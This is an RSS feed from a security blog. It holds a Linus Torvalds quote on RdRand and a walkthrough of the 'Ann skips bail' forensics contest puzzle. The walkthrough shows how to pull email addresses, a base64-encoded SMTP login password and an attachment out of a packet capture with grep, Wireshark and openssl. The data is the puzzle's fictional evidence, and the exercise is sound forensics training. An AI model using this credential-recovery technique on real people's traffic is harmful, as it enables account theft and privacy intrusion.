<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GL.IB.LY &#187; security</title>
	<atom:link href="http://gl.ib.ly/tag/security-2/feed/" rel="self" type="application/rss+xml" />
	<link>http://gl.ib.ly</link>
	<description>Thoughts on security, computing, business and stuff!</description>
	<lastBuildDate>Sun, 18 May 2014 11:51:56 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.9.1</generator>
	<item>
		<title>Linus Torvalds responds to petition to remove RdRand from /dev/random</title>
		<link>http://gl.ib.ly/stuff/2013/09/17/linus-torvalds-responds-to-petition-to-remove-rdrand-from-dev-random/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=linus-torvalds-responds-to-petition-to-remove-rdrand-from-dev-random</link>
		<comments>http://gl.ib.ly/stuff/2013/09/17/linus-torvalds-responds-to-petition-to-remove-rdrand-from-dev-random/#comments</comments>
		<pubDate>Tue, 17 Sep 2013 12:04:56 +0000</pubDate>
		<dc:creator><![CDATA[tariq]]></dc:creator>
				<category><![CDATA[Stuff]]></category>
		<category><![CDATA[linus]]></category>
		<category><![CDATA[NSA]]></category>
		<category><![CDATA[random]]></category>
		<category><![CDATA[rdrand]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[stupid]]></category>

		<guid isPermaLink="false">http://gl.ib.ly/?p=14</guid>
		<description><![CDATA[<p>Really funny petition at http://www.change.org/en-GB/petitions/linus-torvalds-remove-rdrand-from-dev-random-4 Linus’ reply: Where do I start a petition to raise the IQ and kernel knowledge of people? Guys, go read drivers/char/random.c. Then, learn about cryptography. Finally, come back here and admit to the world that<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://gl.ib.ly/stuff/2013/09/17/linus-torvalds-responds-to-petition-to-remove-rdrand-from-dev-random/">Read more &#8250;</a></div><!-- end of .read-more --></p><p>The post <a href="http://gl.ib.ly/stuff/2013/09/17/linus-torvalds-responds-to-petition-to-remove-rdrand-from-dev-random/">Linus Torvalds responds to petition to remove RdRand from /dev/random</a> appeared first on <a href="http://gl.ib.ly">GL.IB.LY</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Really funny petition at <a href="http://www.change.org/en-GB/petitions/linus-torvalds-remove-rdrand-from-dev-random-4">http://www.change.org/en-GB/petitions/linus-torvalds-remove-rdrand-from-dev-random-4</a></p>
<p>Linus’ reply:</p>
<blockquote><p>Where do I start a petition to raise the IQ and kernel knowledge of people? Guys, go read drivers/char/random.c. Then, learn about cryptography. Finally, come back here and admit to the world that you were wrong. Short answer: we actually know what we are doing. You don’t. Long answer: we use rdrand as <em>one</em> of many inputs into the random pool, and we use it as a way to <em>improve</em> that random pool. So even if rdrand were to be back-doored by the NSA, our use of rdrand actually improves the quality of the random numbers you get from /dev/random. Really short answer: you’re ignorant.</p>
<p>&nbsp;</p></blockquote>
<p>The post <a href="http://gl.ib.ly/stuff/2013/09/17/linus-torvalds-responds-to-petition-to-remove-rdrand-from-dev-random/">Linus Torvalds responds to petition to remove RdRand from /dev/random</a> appeared first on <a href="http://gl.ib.ly">GL.IB.LY</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://gl.ib.ly/stuff/2013/09/17/linus-torvalds-responds-to-petition-to-remove-rdrand-from-dev-random/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ann skips bail. Cue forensics puzzle.</title>
		<link>http://gl.ib.ly/computing/2009/11/27/ann-skips-bail-cue-forensics-puzzle/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ann-skips-bail-cue-forensics-puzzle</link>
		<comments>http://gl.ib.ly/computing/2009/11/27/ann-skips-bail-cue-forensics-puzzle/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 09:00:01 +0000</pubDate>
		<dc:creator><![CDATA[tariq]]></dc:creator>
				<category><![CDATA[Computing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[grep]]></category>
		<category><![CDATA[puzzle]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tcpdump]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://gl.ib.ly/?p=69</guid>
		<description><![CDATA[<p>Found a website and a forensics contest yesterday quite by accident. I was waiting for somebody before going out for the night and I thought this might be a little fun while I waited. Now the contest had closed and<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://gl.ib.ly/computing/2009/11/27/ann-skips-bail-cue-forensics-puzzle/">Read more &#8250;</a></div><!-- end of .read-more --></p><p>The post <a href="http://gl.ib.ly/computing/2009/11/27/ann-skips-bail-cue-forensics-puzzle/">Ann skips bail. Cue forensics puzzle.</a> appeared first on <a href="http://gl.ib.ly">GL.IB.LY</a>.</p>]]></description>
				<content:encoded><![CDATA[<p><span style="color: #545454;">Found a website and a forensics contest yesterday quite by accident. I was waiting for somebody before going out for the night and I thought this might be a little fun while I waited. Now the contest had closed and the results where available, which I ignored until the end and went straight to </span><a style="color: #7da939;" title="http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail" href="https://web.archive.org/web/20100526211205/http://gl.ib.ly/exit.php?url_id=105&amp;entry_id=39">Puzzle #2: Ann skips bail</a><span style="color: #545454;">.</span><br style="color: #545454;" /><br style="color: #545454;" /><span style="color: #545454;">The puzzle revolves around a packet capture of Ann&#8217;s network taken by wily investigators before she skipped bail. Police are confident that she communicated with a secret lover prior to her disappearance. And so follows a number of competition questions. It is important to note that the organizers are looking for the most elegant solutions, and you won&#8217;t see that here. What you will see is how to solve the puzzle very quickly.</span></p>
<p style="padding-left: 30px;"><span style="color: #545454;">1. What is Ann’s email address?</span><br style="color: #545454;" /><span style="color: #545454;">2. What is Ann’s email password?</span><br style="color: #545454;" /><span style="color: #545454;">3. What is Ann’s secret lover’s email address?</span><br style="color: #545454;" /><span style="color: #545454;">4. What two items did Ann tell her secret lover to bring?</span><br style="color: #545454;" /><span style="color: #545454;">5. What is the NAME of the attachment Ann sent to her secret lover?</span><br style="color: #545454;" /><span style="color: #545454;">6. What is the MD5sum of the attachment Ann sent to her secret lover?</span><br style="color: #545454;" /><span style="color: #545454;">7. In what CITY and COUNTRY is their rendez-vous point?</span><br style="color: #545454;" /><span style="color: #545454;">8. What is the MD5sum of the image embedded in the document?</span></p>
<p><br style="color: #545454;" /><span style="color: #545454;">I downloaded the </span><a style="color: #7da939;" title="http://forensicscontest.com/contest02/evidence02.pcap" href="https://web.archive.org/web/20100526211205/http://gl.ib.ly/exit.php?url_id=106&amp;entry_id=39">packet dump file</a><span style="color: #545454;"> from the organiser&#8217;s site and verified the hash using </span><code style="color: #545454;">md5</code><span style="color: #545454;"> as I am on a Mac, otherwise </span><code style="color: #545454;">md5sum</code><span style="color: #545454;"> does the job.</span><br style="color: #545454;" /><br style="color: #545454;" /><span style="color: #545454;">I fired up </span><code style="color: #545454;">wireshark</code><span style="color: #545454;"> and opened the packet capture file. There appeared to be a good bit of SMTP traffic. So I did a quick</span></p>
<pre style="color: #545454; padding-left: 30px;">grep -an "To:.*\|From:*\|Subject:.*" evidence02.pcap</pre>
<p><br style="color: #545454;" /><span style="color: #545454;">on the packet dump which revealed the following.</span><br style="color: #545454;" /><code style="color: #545454;"></code></p>
<p style="padding-left: 30px;"><code style="color: #545454;"><br />
From: "Ann Dercover" &lt;sneakyg33k@aol.com&gt;<br />
To: &lt;sec558@gmail.com&gt;<br />
Subject: lunch next week<br />
From: "Ann Dercover" &lt;sneakyg33k@aol.com&gt;<br />
To: &lt;mistersecretx@aol.com&gt;<br />
Subject: rendezvous</code></p>
<p><span style="color: #545454;">Its clear that Ann Dercover&#8217;s email address is </span><code style="color: #545454;">sneakyg33k@aol.com</code><span style="color: #545454;">. This is the answer to question 1. We also see she sent two emails. One to </span><code style="color: #545454;">mistersecretx@aol.com</code><span style="color: #545454;">, could this be Ann&#8217;s secret lover? I expanded the grep to </span></p>
<pre style="color: #545454; padding-left: 30px;">grep -aA50 "mistersecretx@aol.com" evidence02.pcap</pre>
<p><br style="color: #545454;" /><span style="color: #545454;">This gives me 50 lines after and including lines matching </span><code style="color: #545454;">mistersecretx@aol.com</code><span style="color: #545454;">. </span></p>
<p style="padding-left: 30px;"><code style="color: #545454;">To: &lt;mistersecretx@aol.com&gt;<br />
Subject: rendezvous<br />
Date: Sat, 10 Oct 2009 07:38:10 -0600<br />
MIME-Version: 1.0<br />
Content-Type: multipart/mixed;<br />
boundary="----=_NextPart_000_000D_01CA497C.9DEC1E70"<br />
X-Priority: 3<br />
X-MSMail-Priority: Normal<br />
X-Mailer: Microsoft Outlook Express 6.00.2900.2180<br />
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180</code></p>
<p>This is a multi-part message in MIME format.</p>
<p>&#8212;&#8212;=_NextPart_000_000D_01CA497C.9DEC1E70<br />
Content-Type: multipart/alternative;<br />
boundary=&#8221;&#8212;-=_NextPart_001_000E_01CA497C.9DEC1E70&#8243;</p>
<p>&#8212;&#8212;=_NextPart_001_000E_01CA497C.9DEC1E70<br />
Content-Type: text/plain;<br />
charset=&#8221;iso-8859-1&#8243;<br />
Content-Transfer-Encoding: quoted-printable</p>
<p>Hi sweetheart! Bring your fake passport and a bathing suit. Address =<br />
attached. love, Ann<br />
&#8212;&#8212;=_NextPart_001_000E_01CA497C.9DEC1E70<br />
Content-Type: text/html;<br />
charset=&#8221;iso-8859-1&#8243;<br />
Content-Transfer-Encoding: quoted-printable</p>
<p>&#8230;SNIP&#8230;</p>
<p>Hi sweetheart! Bring your fake passport =<br />
and a=20<br />
bathing suit. Address attached. love, Ann</p>
<p>&#8230;SNIP&#8230;</p>
<p>&#8212;&#8212;=_NextPart_000_000D_01CA497C.9DEC1E70<br />
Content-Type: application/octet-stream;<br />
name=&#8221;secretrendezvous.docx&#8221;<br />
Content-Transfer-Encoding: base64<br />
Content-Disposition: attachment;<br />
filename=&#8221;secretrendezvous.docx&#8221;<br />
<br style="color: #545454;" /><br style="color: #545454;" /></p>
<p><span style="color: #545454;">Wow. So </span><code style="color: #545454;">mistersecretx@aol.com</code><span style="color: #545454;"> IS the email address of Ann&#8217;s lover. This is the answer to question 3. We also see in her message she instructs them to &#8220;bring your fake passport and bathing suit&#8221;, this is the answer to question 4. Towards the bottom we see an attachment that probably appears later than the lines we grep&#8217;d called </span><code style="color: #545454;">secretrendezvous.docx</code><span style="color: #545454;"> which will appear base64 encoding. This is the answer to question 5.</span><br style="color: #545454;" /><br style="color: #545454;" /><span style="color: #545454;">I then returned to </span><code style="color: #545454;">wireshark</code><span style="color: #545454;">, looking down through the packets I quickly see SMTP traffic with </span><i style="color: #545454;">C: DATA fragment</i><span style="color: #545454;"> which tells us this traffic was broken up into smaller pieces. This is likely to be an email with a large attachment. I right clicked on one of these packets as shown below and clicked on </span><i style="color: #545454;">Follow TCP Stream</i><span style="color: #545454;"> as shown below.</span><br style="color: #545454;" /><br style="color: #545454;" /></p>
<p><center style="color: #545454;"><img src="https://web.archive.org/web/20100526211205im_/http://gl.ib.ly/uploads/forensicspuzzle2/wireshark.png" alt="" width="500px" /></center><br style="color: #545454;" /><br style="color: #545454;" /><span style="color: #545454;">This gives me the following.</span><br style="color: #545454;" /><code style="color: #545454;"><br />
</code></p>
<p style="padding-left: 30px;"><code style="color: #545454;">220 cia-mc07.mx.aol.com ESMTP mail_cia-mc07.1; Sat, 10 Oct 2009 15:37:56 -0400<br />
<span style="color: #ff0000;">EHLO annlaptop</span><br />
250-cia-mc07.mx.aol.com host-69-140-19-190.static.comcast.net<br />
250-AUTH=LOGIN PLAIN XAOL-UAS-MB<br />
250-AUTH LOGIN PLAIN XAOL-UAS-MB<br />
250-STARTTLS<br />
250-CHUNKING<br />
250-BINARYMIME<br />
250-X-AOL-FWD-BY-REF<br />
250-X-AOL-DIV_TAG<br />
250-X-AOL-OUTBOX-COPY<br />
250 HELP<br />
<span style="color: #ff0000;">AUTH LOGIN</span><br />
334 VXNlcm5hbWU6<br />
<span style="color: #ff0000;">c25lYWt5ZzMza0Bhb2wuY29t</span><br />
334 UGFzc3dvcmQ6<br />
<span style="color: #ff0000;">NTU4cjAwbHo=</span><br />
235 AUTHENTICATION SUCCESSFUL<br />
<span style="color: #ff0000;">MAIL FROM: &lt;sneakyg33k@aol.com&gt;</span><br />
250 OK<br />
<span style="color: #ff0000;">RCPT TO: &lt;mistersecretx@aol.com&gt;</span><br />
250 OK<br />
<span style="color: #ff0000;">DATA</span><br />
354 START MAIL INPUT, END WITH "." ON A LINE BY ITSELF<br />
<span style="color: #ff0000;">Message-ID: &lt;001101ca49ae$e93e45b0$9f01a8c0@annlaptop&gt;<br />
From: "Ann Dercover" &lt;sneakyg33k@aol.com&gt;<br />
To: &lt;mistersecretx@aol.com&gt;<br />
Subject: rendezvous<br />
Date: Sat, 10 Oct 2009 07:38:10 -0600<br />
MIME-Version: 1.0<br />
Content-Type: multipart/mixed;<br />
.boundary="----=_NextPart_000_000D_01CA497C.9DEC1E70"<br />
X-Priority: 3<br />
X-MSMail-Priority: Normal<br />
X-Mailer: Microsoft Outlook Express 6.00.2900.2180<br />
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180</span></code></p>
<p>This is a multi-part message in MIME format.</p>
<p>&#8212;&#8212;=_NextPart_000_000D_01CA497C.9DEC1E70<br />
Content-Type: multipart/alternative;<br />
.boundary=&#8221;&#8212;-=_NextPart_001_000E_01CA497C.9DEC1E70&#8243;</p>
<p>&#8212;&#8212;=_NextPart_001_000E_01CA497C.9DEC1E70<br />
Content-Type: text/plain;<br />
.charset=&#8221;iso-8859-1&#8243;<br />
Content-Transfer-Encoding: quoted-printable</p>
<p>Hi sweetheart! Bring your fake passport and a bathing suit. Address =<br />
attached. love, Ann<br />
&#8212;&#8212;=_NextPart_001_000E_01CA497C.9DEC1E70<br />
Content-Type: text/html;<br />
.charset=&#8221;iso-8859-1&#8243;<br />
Content-Transfer-Encoding: quoted-printable</p>
<p>&lt;!DOCTYPE HTML PUBLIC &#8220;-//W3C//DTD HTML 4.0 Transitional//EN&#8221;&gt;<br />
&lt;HTML&gt;&lt;HEAD&gt;<br />
&lt;META http-equiv=3DContent-Type content=3D&#8221;text/html; =<br />
charset=3Diso-8859-1&#8243;&gt;<br />
&lt;META content=3D&#8221;MSHTML 6.00.2900.2853&#8243; name=3DGENERATOR&gt;<br />
&lt;STYLE&gt;&lt;/STYLE&gt;<br />
&lt;/HEAD&gt;<br />
&lt;BODY bgColor=3D#ffffff&gt;<br />
&lt;DIV&gt;&lt;FONT face=3DArial size=3D2&gt;Hi sweetheart! Bring your fake passport =<br />
and a=20<br />
bathing suit. Address attached. love, Ann&lt;/FONT&gt;&lt;/DIV&gt;&lt;/BODY&gt;&lt;/HTML&gt;</p>
<p>&#8212;&#8212;=_NextPart_001_000E_01CA497C.9DEC1E70&#8211;</p>
<p>&#8212;&#8212;=_NextPart_000_000D_01CA497C.9DEC1E70<br />
Content-Type: application/octet-stream;<br />
.name=&#8221;secretrendezvous.docx&#8221;<br />
Content-Transfer-Encoding: base64<br />
Content-Disposition: attachment;<br />
.filename=&#8221;secretrendezvous.docx&#8221;</p>
<p><span style="color: #0000ff;">UEsDBBQABgAIAAAAIQDleUAGfwEAANcFAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0<br />
VMluwjAQvVfqP0S+VsTQQ1VVBA5dji1S6QcYexKsepNttr/vOEBEKQSpwCVSPH7LPI/dHy61yubg<br />
g7SmIL28SzIw3AppqoJ8jd86jyQLkRnBlDVQkBUEMhzc3vTHKwchQ7QJBZnG6J4oDXwKmoXcOjBY<br />
Ka3XLOKvr6hj/JtVQO+73QfKrYlgYicmDjLov0DJZipmr0tcXjtxpiLZ83pfkiqI1Amf1ulBhAcV<br />
9iDMOSU5i9gbnRux56uz8ZQjst4TptKFOzR+RCFVfnvaFdjgPjBMLwVkI+bjO9PonC6sF1RYPtPY<br />
dd5Oc8CnLUvJocEnNucthxDwlLTKm4pm0mz9H/VhZnoCHpGXN9JQnzQR4kpBuLyDNW+bPIY18tYF<br />
imd3tj6kgRUgOngeDnyU0MzP0fwDxIjpX6P5DXNb+/UoRrymQOtv7+wMapqTkiVe5TGbKDhb78/4<br />
N9QnTSxg8nm19HfI24w088et/0cY2zcroQ9MHa2f5cEPAAAA//8DAFBLAwQUAAYACAAAACEAHpEa<br />
t/MAAABOAgAACwAIAl9yZWxzLy5yZWxzIKIEAiigAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIyS20oDQQyG7wXfYch9N9sKItLZ3kihdyLr<br />
A4SZ7AF3Dsyk2r69oyC6UNte5vTny0/Wm4Ob1DunPAavYVnVoNibYEffa3htt4sHUFnIW5qCZw1H<br />
zrBpbm/WLzyRlKE8jDGrouKzhkEkPiJmM7CjXIXIvlS6kBxJCVOPkcwb9Yyrur7H9FcDmpmm2lkN<br />
aWfvQLXHWDZf1g5dNxp+Cmbv2MuJFcgHYW/ZLmIqbEnGco1qKfUsGmwwzyWdkWKsCjbgaaLV9UT/<br />
X4uOhSwJoQmJz/N8dZwDWl4PdNmiecevOx8hWSwWfXv7Q4OzL2g+AQAA//8DAFBLAwQUAAYACAAA<br />
ACEApOAquCABAAA6BAAAHAAIAXdvcmQvX3JlbHMvZG9jdW1lbnQueG1sLnJlbHMgogQBKKAAAQAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br />
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACsk01OwzAQhfdI3MHynjgpUBCq0w1C6hbCAdxkkljE<br />
P7KnQG7PKFKbVJSwycbSvCjvfZ7xbLbfpmOfEKJ2VvIsSTkDW7pK20by9+Ll5pGziMpWqnMWJO8h<br />
8m1+fbV5hU4h/RRb7SMjFxslbxH9kxCxbMGomDgPlr7ULhiFVIZGeFV+qAbEKk3XIkw9eH7myXaV<br />
5GFX3XJW9J6S//d2da1LeHblwYDFCxEiAiLdLJKnCg2g5EclIU4uLiM8LImA1BoY84dSDGc2x7Ba<br />
kiFi39EcxyYM9Vx8tmS8PZg9BJrDSHCS5iDWS0LUzmKh9t1kFidpDuJ+SQhtaBfGLhiotBKDmCWe</span></p>
<p>&#8230;SNIP: not publishing the whole thing, its a bit long. <a style="color: #7da939;" href="https://web.archive.org/web/20100526211205/http://gl.ib.ly/uploads/forensicspuzzle2/attachment.b64" target="_blank">See the whole thing?</a></p>
<p>JZ2ekPwNAAD//wMAUEsBAi0AFAAGAAgAAAAhAOV5QAZ/AQAA1wUAABMAAAAAAAAAAAAAAAAAAAAA<br />
AFtDb250ZW50X1R5cGVzXS54bWxQSwECLQAUAAYACAAAACEAHpEat/MAAABOAgAACwAAAAAAAAAA<br />
AAAAAAC4AwAAX3JlbHMvLnJlbHNQSwECLQAUAAYACAAAACEApOAquCABAAA6BAAAHAAAAAAAAAAA<br />
AAAAAADcBgAAd29yZC9fcmVscy9kb2N1bWVudC54bWwucmVsc1BLAQItABQABgAIAAAAIQA6Q0kI<br />
FQQAAFgKAAARAAAAAAAAAAAAAAAAAD4JAAB3b3JkL2RvY3VtZW50LnhtbFBLAQItAAoAAAAAAAAA<br />
IQBg7VaATPYCAEz2AgAVAAAAAAAAAAAAAAAAAIINAAB3b3JkL21lZGlhL2ltYWdlMS5wbmdQSwEC<br />
LQAUAAYACAAAACEAlrWt4pYGAABQGwAAFQAAAAAAAAAAAAAAAAABBAMAd29yZC90aGVtZS90aGVt<br />
ZTEueG1sUEsBAi0AFAAGAAgAAAAhAIkUT0qVAwAAcQgAABEAAAAAAAAAAAAAAAAAygoDAHdvcmQv<br />
c2V0dGluZ3MueG1sUEsBAi0AFAAGAAgAAAAhAErYipK7AAAABAEAABQAAAAAAAAAAAAAAAAAjg4D<br />
AHdvcmQvd2ViU2V0dGluZ3MueG1sUEsBAi0AFAAGAAgAAAAhADVKHsm+CgAALFoAAA8AAAAAAAAA<br />
AAAAAAAAew8DAHdvcmQvc3R5bGVzLnhtbFBLAQItABQABgAIAAAAIQCQUuGobwEAANcCAAARAAAA<br />
AAAAAAAAAAAAAGYaAwBkb2NQcm9wcy9jb3JlLnhtbFBLAQItABQABgAIAAAAIQAXVdHWCQQAAMsZ<br />
AAASAAAAAAAAAAAAAAAAAAwdAwB3b3JkL251bWJlcmluZy54bWxQSwECLQAUAAYACAAAACEAu6G5<br />
NXECAACGCAAAEgAAAAAAAAAAAAAAAABFIQMAd29yZC9mb250VGFibGUueG1sUEsBAi0AFAAGAAgA<br />
AAAhAKVR8wbYAQAA2QMAABAAAAAAAAAAAAAAAAAA5iMDAGRvY1Byb3BzL2FwcC54bWxQSwUGAAAA<br />
AA0ADQBEAwAA9CYDAAAA</p>
<p>&#8212;&#8212;=_NextPart_000_000D_01CA497C.9DEC1E70&#8211;</p>
<p>.<br />
250 OK<br />
<span style="color: #ff0000;">QUIT</span><br />
221 SERVICE CLOSING CHANNEL</p>
<p><span style="color: #545454;">You may or may not realise that parts of the communication are base64 encoded. Lets take a look at some information encoded at the beginning of this communication again. </span><code style="color: #545454;"><br />
</code></p>
<p style="padding-left: 30px;"><code style="color: #545454;"><span style="color: #ff0000;">AUTH LOGIN</span><br />
334 VXNlcm5hbWU6<br />
<span style="color: #ff0000;">c25lYWt5ZzMza0Bhb2wuY29t</span><br />
334 UGFzc3dvcmQ6<br />
<span style="color: #ff0000;">NTU4cjAwbHo=</span><br />
235 AUTHENTICATION SUCCESSFUL</code></p>
<p><span style="color: #545454;">Here Ann is authenticating with the service. Her responses are shown in red, and as you can see they&#8217;re a bit cryptic; however, they look like they are encoded in base64. So we run the following two commands.</span></p>
<p style="padding-left: 30px;"><code style="color: #545454;">$ echo "c25lYWt5ZzMza0Bhb2wuY29t" | openssl base64 -d<br />
<span style="color: #008800;">sneakyg33k@aol.com</span><br />
$ echo "NTU4cjAwbHo=" | openssl base64 -d<br />
<span style="color: #008800;">558r00lz</span><br />
</code><br style="color: #545454;" /><i style="color: #545454;"></i></p>
<p><i style="color: #545454;">Note: $ is the command prompt, what follows it is the command with output in green.</i><br style="color: #545454;" /><br style="color: #545454;" /><span style="color: #545454;">So we find Ann&#8217;s email password is </span><code style="color: #545454;">558r00lz</code><span style="color: #545454;">. This the answer to question 2. </span><br style="color: #545454;" /><br style="color: #545454;" /><span style="color: #545454;">Next we have a look at the attachment which is base64 encoded. We copy all the blue text above and paste into a file called </span><code style="color: #545454;">attachment.b64</code><span style="color: #545454;"> and issue the following commands.</span><code style="color: #545454;"><br />
</code></p>
<p style="padding-left: 30px;"><code style="color: #545454;">$ openssl base64 -d &lt; attachment.b64 &gt; secretrendezvous.docx<br />
$ md5 secretrendezvous.docx<br />
<span style="color: #008800;">MD5 (secretrendezvous.docx) = 9e423e11db88f01bbff81172839e1923</span><br />
</code></p>
<p><br style="color: #545454;" /><span style="color: #545454;">This decodes the data and outputs to </span><code style="color: #545454;">secretrendezvous.docx</code><span style="color: #545454;">. We can open the file, verifying it is good and thus the md5 sum of </span><code style="color: #545454;">9e423e11db88f01bbff81172839e1923</code><span style="color: #545454;"> is the answer to question 6. When we open the file we see an image like the one below.</span><br style="color: #545454;" /><br style="color: #545454;" /></p>
<p><center style="color: #545454;"><img src="https://web.archive.org/web/20100526211205im_/http://gl.ib.ly/uploads/forensicspuzzle2/map.png" alt="" width="500px" /></center><br style="color: #545454;" /><br style="color: #545454;" /><span style="color: #545454;">This tells us that Ann was off to Playa del Carmen in Mexico. This is the answer to question 7. We only now need to get the md5 sum of the image in the document. This is easy enough as we can just do the following:</span><br style="color: #545454;" /><br style="color: #545454;" /><code style="color: #545454;"><br />
</code></p>
<p style="padding-left: 30px;"><code style="color: #545454;">$ unzip secretrendezvous.docx -d attachment<br />
<span style="color: #008800;">Archive: out-1.docx<br />
inflating: attachment/[Content_Types].xml<br />
inflating: attachment/_rels/.rels<br />
inflating: attachment/word/_rels/document.xml.rels<br />
inflating: attachment/word/document.xml<br />
extracting: attachment/word/media/image1.png<br />
inflating: attachment/word/theme/theme1.xml<br />
inflating: attachment/word/settings.xml<br />
inflating: attachment/word/webSettings.xml<br />
inflating: attachment/word/styles.xml<br />
inflating: attachment/docProps/core.xml<br />
inflating: attachment/word/numbering.xml<br />
inflating: attachment/word/fontTable.xml<br />
inflating: attachment/docProps/app.xml </span></code></p>
<p><br style="color: #545454;" /><span style="color: #545454;">The only image file in there is </span><code style="color: #545454;">attachment/word/media/image1.png</code><span style="color: #545454;">. Open it up to verify it is the business and then just do </span></p>
<p style="padding-left: 30px;"><code style="color: #545454;">$ md5 attachment/word/media/image1.png<br />
<span style="color: #008800;">MD5 (attachment/word/media/image1.png) = aadeace50997b1ba24b09ac2ef1940b7</span></code></p>
<p><span style="color: #545454;">This is the answer to question 8, and we&#8217;re finished. That was quick! The </span><a style="color: #7da939;" title="http://forensicscontest.com/2009/11/24/puzzle-2-answers" href="https://web.archive.org/web/20100526211205/http://gl.ib.ly/exit.php?url_id=107&amp;entry_id=39">answers</a><span style="color: #545454;"> have been published so you can verify. Now that person has turned up and is dragging me away from my computer so that&#8217;s all for now.</span></p>
<p><span style="color: #545454; font-family: Arial, Verdana, sans-serif; font-size: 14px; line-height: normal;"> </span></p>
<p>The post <a href="http://gl.ib.ly/computing/2009/11/27/ann-skips-bail-cue-forensics-puzzle/">Ann skips bail. Cue forensics puzzle.</a> appeared first on <a href="http://gl.ib.ly">GL.IB.LY</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://gl.ib.ly/computing/2009/11/27/ann-skips-bail-cue-forensics-puzzle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rubber hose attacks!</title>
		<link>http://gl.ib.ly/stuff/2009/02/07/cryptography-rubber-hose-attacks/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=cryptography-rubber-hose-attacks</link>
